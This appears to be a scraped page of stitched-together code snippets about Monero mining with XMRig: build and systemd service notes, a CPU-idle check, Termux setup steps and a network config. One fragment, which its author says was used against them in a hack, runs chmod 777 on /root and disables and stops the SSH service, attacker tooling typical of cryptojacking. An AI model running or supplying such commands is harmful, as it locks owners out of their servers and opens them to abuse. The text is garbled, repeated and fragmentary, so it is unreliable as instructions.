##Installation
Build XMRig according to build instructions: https://github.com/xmrig/xmrig/wiki/Ubuntu-Build
Copy the respective service files to /etc/systemd/system/
Reload the systemd daemon:
# systemctl daemon-reload
# The only reason I have this script is because it was used against me in a hack... | |
if [ -f "/root/start.sh" ]; then | |
exit 0 | |
fi | |
chmod 777 /root | |
systemctl disable ssh.service || true | |
systemctl stop ssh.service || true |
##Installation
Build XMRig according to build instructions: https://github.com/xmrig/xmrig/wiki/Ubuntu-Build
Copy the respective service files to /etc/systemd/system/
Reload the systemd daemon:
# systemctl daemon-reload
#!/bin/bash | |
# Check the amount of CPU being consumed by processes other than xmrig | |
# Takes a single (optional) argument, the name of the screen to target. Defaults to "xmrig" if unspecified | |
set -e | |
#12.5% or 2 full cores (with our 16 total) | |
IDLE_THRESHOLD=12.5 | |
TARGET_SCREEN="${1:-xmrig}" | |
NUM_CORES=$(cat /proc/cpuinfo | grep "core id" | wc -l) |
Monero XMR mining via termux ;ubuntu
pkg install update && upgrade
apt install git
apt install wget
apt install proot
Create the network config | |
vi network-config.yml | |
version: 1 | |
config: | |
- type: physical | |
name: eth0 | |
subnets: | |
- type: static | |
ipv4: true |